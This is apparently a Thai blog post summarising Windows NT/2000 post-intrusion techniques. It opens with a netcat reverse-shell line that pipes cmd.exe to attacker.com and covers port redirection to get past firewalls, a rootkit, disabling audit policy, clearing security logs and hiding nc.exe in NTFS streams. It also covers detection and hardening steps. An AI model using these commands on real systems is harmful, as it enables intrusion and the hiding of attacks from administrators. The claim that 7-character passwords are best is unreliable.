Nc attacker.com 80 | cmd.exe | nc attacker.com 25
เป็นการให้เข้ามา พอร์ตที่ 80 ซึ่งไฟร์วอลล์จะให้ผ่านพอร์ตต่างๆเหล่านี้ทั้ง 25, และ 80 โดยผลที่ได้รับคือ netcat ฟังอยู่ที่พอร์ต 80 และส่งไปที่ลูกข่ายที่ติดต่อที่พอร์ต 25
Rinetd
เป็น โปรแกรมที่ทำการ Port rediection โดยใช้พอร์ตใน Netcat ถึง 3 การเชื่อมต่อโดยกำหนดพอร์ตที่ได้ไปยังเครื่องอื่น และพอร์ตอื่นแทนหลักการคล้ายกับ datapipe ซึ่งมีทั้ง Windows และ Linux
Bindaddress bindport connectaddress connectport
Fpipe
เป็น TCP source port forwarder/redirector ของบริษัท Foundstone โดยสามารถเปิดการเชื่อมต่อให้หมายเลขพอร์ตต้นทางเป็นอะไรก็ได้ เพื่อเจาะผ่านไฟร์วอลล์
Nc –nvv –l –p 80
ตัวอย่างเช่นเราไม่ สามารถที่ Telnet พอร์ต 23 หลัง firewall ได้เราจึงใช้พอร์ตที่ 53 แทน (DNS)
Fpipe –v –l 53 –r 23 192.168.0.11
มาตรการ ป้องกันทั่วไปเพื่อไม่ให้แฮกเกอร์ใช้ประโยชน์จากสิทธิของผู้ดูแลระบบ
ต้อง ทำการทำลาย และอุดช่องโหว่ต่างๆที่มาฝั่งตัวในเครื่อง วิธีการดูให้ดูที่
ชื่อ ไฟล์, ค่าคีย์ใน Registry, Process, และพอร์ต
ชื่อไฟล์
เช่น remote.exe, nc.exe, rinetd.exe, nbsvr.exe, patch.exe, winvnc.exe, vnchooks.dll, ominthread_tr.dell
ตรวจสอบค่าใน Startup แต่ละคน หรือใน Profiles
Registry
HKEY_USER\.Default\Software\ORL\WinVNC3
HKLM\Software\Net Solutions\NetBUS Server
ค่าใน Reg.exe โดยลบออกด้วย reg delete [value] \\ชื่อเครื่อง
เช่น reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 \\192.168.0.11
ตรวจสอบใน ค่าที่เริ่มต้น
HKLM\Software\Microsoft\Windows\CurrentVersion\Run, RunOnce, RunOnceEx, RunServices
กำหนด Permissions ให้เหมาะสม
Process
ให้ ตรวจสอบคำสั่ง AT เพื่อดู Remote.exe หรือ nc.exe แล้วทำการ Kill มันทิ้ง โดยอาจกำหนดเวลาในการ Kill ได้
Rkill.exe ใน NTRK สามารถที่ฆ่า PID ได้ถ้าทราบหมายเลข
Ports
Netstat เป็นวิธีหนึ่งที่ใช้ตรวจสอบ
Netstat –an หรือใช้งานใน Port scanner
Netstat –an | find “12345”
Fport เป็นเครื่องมือในการตรวจสอบพอร์ตและกระบวนการพร้อมๆกัน
Rootkit เป็นเครื่องมือที่ใช้เจาะระบบ
ใช้ได้กับ Windows NT และ 2000 โดยทำหน้าที่เป็นม้าโทรจัน ระบบจะไปขัดขวาง API และทำการซ่อน Process, Registry, หรือไฟล์ ข้อที่อันตรายคือทำให้แอพพลิเคชั่นไม่เสถียร
คำ สั่ง Deploy ใช้ในการติดตั้ง ค่าคีย์ที่ขึ้นต้นด้วย _root_ จะซ่อนจาก regedit.exe หรือ regedt32 และเปลี่ยนทิศทางชื่อไฟล์ _root_ เป็น c:\calc
มาตรการ ป้องกัน rootkit
ให้ใช้การสำรอง และติดตั้ง Windows NT/2000 ในแผ่นที่เชื่อถือได้ การสำรองไม่ใช่สิ่งที่แน่นอน
กฎที่สำคัญในการ กอบกู้ระบบ
1. Known states รู้สถานะของตนเอง
2. Repeatability ทำซ้ำได้อย่างรวดเร็ว คือเก็บต้นฉบับ หรือการทำอิมเมจ
3. Production mode พร้อมใช้งานจริง
4. Checklist มีสคริปต์ในการทำงานพร้อมที่กู้ระบบ
การใช้เครื่องมือ Checksum ก็เป็นวิธีหนึ่งในการป้องกันปัญหา เช่น MD5sum ก็มีการคำนวณค่าโดยอยู่ในเอกสาร RFC 1321
Md5sum d:\test.txt > d:\test.md5
Cat d:\test.md5
Md5sum –check d:\test.md5
ตรวจ สอบถ้ามี deploy.exe และ _root_.sys อยู่เครื่องให้ระวังให้ดี
Net start _root_
Net stop _root_
การอำพรางตัวเพื่อ ป้องกันผู้ดูแลระบบในการแกะรอย
เป็นเรื่องที่ธรรมดาที่ผู้เจาะระบบ ต้องสร้างประตูหลังไว้ และวางทางลับเพื่อให้สามารถกลับมาเจาะระบบได้
การ Audit
ซึ่งผู้บริหารระบบที่ตระหนักในเรื่องนี้ดีจะมีการกำหนด Audit
เครื่อง มือที่ใช้คือ auditpol จาก NTRK
Auditpol /disable
Auditpol /enable
การเคลียร์ล็อก
ทำการเคลียร์ล็อกทั้งหมดทิ้ง เครื่องมือที่ใช้คือ elsave
Elsave –s \\ชื่อเครื่อง -l “security” –c
การซ่อนไฟล์
โดยไม่ให้จับได้ในไฟล์ที่สะสม โดยใช้ Attrib
Attrib +h [directory]
NTFS File streaming
เป็นเทคนิคเขียน ไฟล์แบบต่อเนื่อง หรือหลายชุดพร้อมๆกัน เป็นกลไกในการเพิ่ม attribute ลงไปในไฟล์โดยไม่ต้องแก้ไข ซึ่ง netcat ใช้เพื่อหลบซ่อนไฟล์นี้
คำ สั่งที่ใช้คือ cp จาก NTRK ซึ่งรองรับมาตรฐาน POSIX
Cp <file> oso001.009:<file>
Cp nc.exe oso001.009:nc.exe
ผลที่ ได้เก็บสตรีมของ nc.exe ของ oso001.009 ส่วนคำสั่งยกเลิกคือ
Cp oso001.009:nc.exe nc.exe
วันเวลาที่แก้ไขเปลี่ยนแต่ขนาดไม่เปลี่ยน ซึ่งไฟล์ที่ถูกซ่อนด้วยเทคนิคนี้ยากต่อการตรวจจับมาก
ส่วนการลบไฟล์ ที่ซ่อนก็ไปเก็บไว้ใน FAT จากนั้นก็มาเก็บใน NTFS อีกครั้ง
ไฟล์ที่ ซ่อนด้วยการสตรีมนี้สามารถรันได้ขณะที่หลบซ่อนตัวอยู่ในไฟล์อื่น แต่ของจำกัดของ cmd.exe จึงทำให้ไม่สามารถที่รันได้โดยตรง คือ os001.009:nc.exe) จึงต้องใช้คำสั่ง
Start oso001.009:nc.exe
มาตรการ ป้องกัน File Streaming
มีเครื่องมือในการตรวจสอบคือ Streamfinder ดูที่ Internet Security System (ISS) คำสั่งที่ใช้คือ sfind
สรุป
สิ่ง ที่ควรปฏิบัติ
1. ไม่ให้มีการเข้าถึงพอร์ต 135-139
2. กำหนด TCP/IP filtering
3. กำหนด RestrictAnonymous
4. ยกเลิกกลุ่ม Everyone
5. ติดตั้ง Hotfix และ SP ใหม่สุด
6. บังคับให้มีการกำหนดรหัสผ่านที่ดี และมีบันทึกล็อก
7. กำหนดรหัสผ่าน 7 ตัวอักษรดีที่สุด
8. ให้เปลี่ยนชื่อ Administrator และไม่ใช้ Guest
9. มีการกำหนดรหัสผ่าน Administrator สุด
10. ไม่ได้กำหนดชื่อ รหัสซ้ำของ Administrator กับเครื่อง
11. ใช้ passprop ใน NTRK เพื่อล็อก Administrator
12. ใช้ Syskey เพื่อเข้ารหัส
13. กำหนด audit ทั้ง success และ failure
14. ตรวจสอบ registry ที่ HKLM\system\CurrentControlset\SecurePipservers\winreg\Allowpaths
15. ซ่อนคีย์ Registry ด้วย
ไม่มีความคิดเห็น:
แสดงความคิดเห็น